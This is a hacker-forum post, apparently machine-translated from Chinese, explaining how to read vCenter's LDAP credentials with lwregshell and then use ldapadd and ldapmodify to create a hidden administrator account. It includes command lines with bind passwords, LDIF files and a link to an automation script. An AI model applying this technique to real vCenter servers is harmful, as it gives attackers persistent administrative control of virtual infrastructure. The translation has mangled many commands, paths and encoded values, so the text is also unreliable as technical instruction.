跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

0x00 前言

在之前的三篇文章《vSphere开发指南1——vSphere Automation API》 、 《vSphere开发指南2——vSphere Web Services API》 和《vSphere开发指南3——VMware PowerCLI》 介绍了同虚拟机交互的方法,但有一个利用前提,需要获得管理员用户的口令。

所以本文将要介绍在vCenter上通过轻量级目录访问协议数据库添加管理员用户的方法,扩宽利用思路。

0x01 简介

本文将要介绍以下内容:

利用方法

程序实现

0x02 利用方法

由于介绍这部分的内容相对较少,我从以下资料获得了一些思路:

https://www。guardicore。com/blog/pwning-VMware-vcenter-CVE-2020-3952/

https://kb.vmware.com/s/article/2147280

vCenter默认安装了轻量级目录访问协议数据库,用来存储登录用户的信息

轻量级目录访问协议的凭据信息使用同样地进行存储

1.导出LDAP的凭据信息

运行以下命令以访问同样,壳牌:

/opt/isolately/bin/lwregshell

切换目录:

CD HKEY _本机\服务\vmdir

导出信息:

列表值

执行结果如下图

2-1.png

以上命令可以合并成一句:

/opt/isolate/bin/lwregshell list _ values '[HKEY _ THIS _ MACHINE \ services \ vmdir]'

2.连接LDAP数据库

vCenter内置了ldapsearch,可以用来查询轻量级目录访问协议数据库信息

查询命令示例:

LDAP搜索-x-H LDAP://192。168 .1 .1:389-D ' cn=192。168 .1 .1,ou=域控制器,dc=aaa,dc=bbb '-w ' P @ ss word 123 @ @ '-b ' DC=AAA,DC=BBB '

返回结果为文本格式,为了方便分析数据结构,可以改为使用界面化的工具轻量级目录访问协议浏览器,下载地址:

http://www.ldapbrowserwindows.com/

导出数据库信息如下图

2-2.png

3.添加用户

经过比较分析,添加用户的操作等价于在entryDN cn=Users,dc=aaa,dc=bbb下添加了如下信息:

#测试1,用户,aaa.bbb

dn: CN=test1,CN=Users,DC=aaa,DC=bbb

nTSecurityDescriptor:aqahhbqaaaaa 0 aaaaaaaaaaaaafqaaabbgaaaaaaabxuaaaaacm 3 BPR j 60 LPb

usmg 5729v 9 aeaaaaaaaegaaaaaaaaaaaahahfqaaakbdumuprt 4s 9u 5 iydnvb 28 Gaga aagdaaaaaaaaaaaaaaaaaaaaaeygamqah

iaegaaaaaaaaaaahfqaaakbdumuprt 4s 9u 5 iydnvb 2/0 aqaaabmoadeabyabbgaaaaabxuaaaacm 3 bprj

60 lpbusmg 5729 viaiaaaatkaaxaaaacgaqyaaaaaaaaaaaacvaaaapt 26 a4 tpiz 27 kjio 9 vbwacaaaey

gaeaaaaaegaaaaaaaaaahahfqaaakbdumulpt 4s 9u 5 iydnvb 28 dagaaabmyadaaaaaaaaaaaaaaaaaaaaaaaaabyaac

aAgAA

krbPrincipalKey:migboamcaqghawibakidagepiggjmiggmemhrzbfofarckhpgq 8 flcuodbv

7 cuknlaow 8 mo zkuu 0 lbna qi 7 gpplcdhvco 2 gvzfrhg 6 o 6 ww 2 i6 f 0 frz/ebpnntuv 0 ozqdopmdmhn

za 1 oamcarehlgqspshk 4 inqldspbt 55 cfdjqkinrbwa 9 jw 8 lfn 3 o 57 rqbpchioltehu/ZUQoY=

用户帐户控制:0

userPrincipalName: test1@AAA .日本商务改善协会(商业改善局)

sAMAccountName: test1

cn: test1

对象类:顶部

对象类:人员

对象类:组织人员

对象类:用户

添加数据库信息的操作可以使用vCenter内置的ldapadd,命令示例:

ldapadd-x-H LDAP://192。168 .1 .1:389-D ' cn=192。168 .1 .1,ou=域控制器,dc=aaa,DC=bb b '-w ' P @ ss word 123 @ @ '-f adduser。ldif

adduser.ldif的示例内容:

dn: CN=test1,CN=Users,DC=aaa,DC=bbb

userPrincipalName: test1@AAA .日本商务改善协会(商业改善局)

sAMAccountName: test1

cn: test1

对象类:顶部

对象类:人员

对象类:组织人员

对象类:用户

用户密码:P@ssWord123@

注:

设置用户密码通过属性用户密码实现,无法通过直接设置属性nTSecurityDescriptor和属性krbPrincipalKey实现

4.将用户添加至管理员组

将用户添加至管理员组等价于在entryDNcn=Administrators,cn=Builtin,dc=aaa,dc=bbb下添加属性:memberCN=test1,CN=Users,DC=aaa,DC=bbb

修改数据库信息的操作可以使用vCenter内置的ldapmodify,命令示例:

LDAP modify-x-H LDAP://192。168 .1 .1:389-D ' cn=192。168 .1 .1,ou=域控制器,dc=aaa,DC=bb b '-w ' P @ ss word 123 @ @ '-f addadmin。ldif

addadmin.ldif的示例内容:

dn:cn=管理员,cn=内置,dc=aaa,dc=bbb

更改类型:修改

添加:成员

成员:CN=test1,CN=Users,DC=aaa,DC=bbb

补充1:修改用户口令

命令示例:

LDAP modify-x-H LDAP://192。168 .1 .1:389-D ' cn=192。168 .1 .1,ou=域控制器,dc=aaa,DC=bb b '-w ' P @ ss word 123 @ @ '-f换通行证。ldif

changepass.ldif的示例内容:

dn: CN=test1,CN=Users,DC=aaa,DC=bbb

更改类型:修改

替换:用户密码

用户密码:P@ssWord123@@45

补充2:删除用户

命令示例:

LDAP delete-x-H LDAP://192 . 168 . 1 . 1:389-D ' CN=192 . 168 . 1 . 1,ou=域控制器,dc=aaa,dc=bbb '-w ' P @ ss word 123 @ @ ' CN=test1,CN=Users,DC=aaa,DC=BBB '

至此,管理员用户已经成功添加,新添加的管理员用户可以登录Web管理页面,也可以用来调用vSphere API。

0x03 程序实现

VCenter内置了Python3环境,这里我们用Python来实现。

需要参考以下三个包:

操作系统(Operating System)

[计]系统复制命令(system的简写)

关于

默认支持VCenter,可以正常使用。

完整的代码已经上传到github,地址如下:

https://github . com/3g student/Homework-of-Python/blob/master/vcenter LDAP _ manage . py

该代码支持以下功能:

Adduser,添加一个普通用户。

Addadmin,设置普通用户为管理员用户。

通过,修改用户密码

Deleteuser,删除用户。

Getadmin,列出所有管理员用户。

Getuser,列出所有用户。

0x04 小结

本文介绍了在vCenter中通过LDAP数据库添加管理员用户的方法,然后就可以使用新添加的管理员用户登录Web管理页面或者调用vSphere API。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。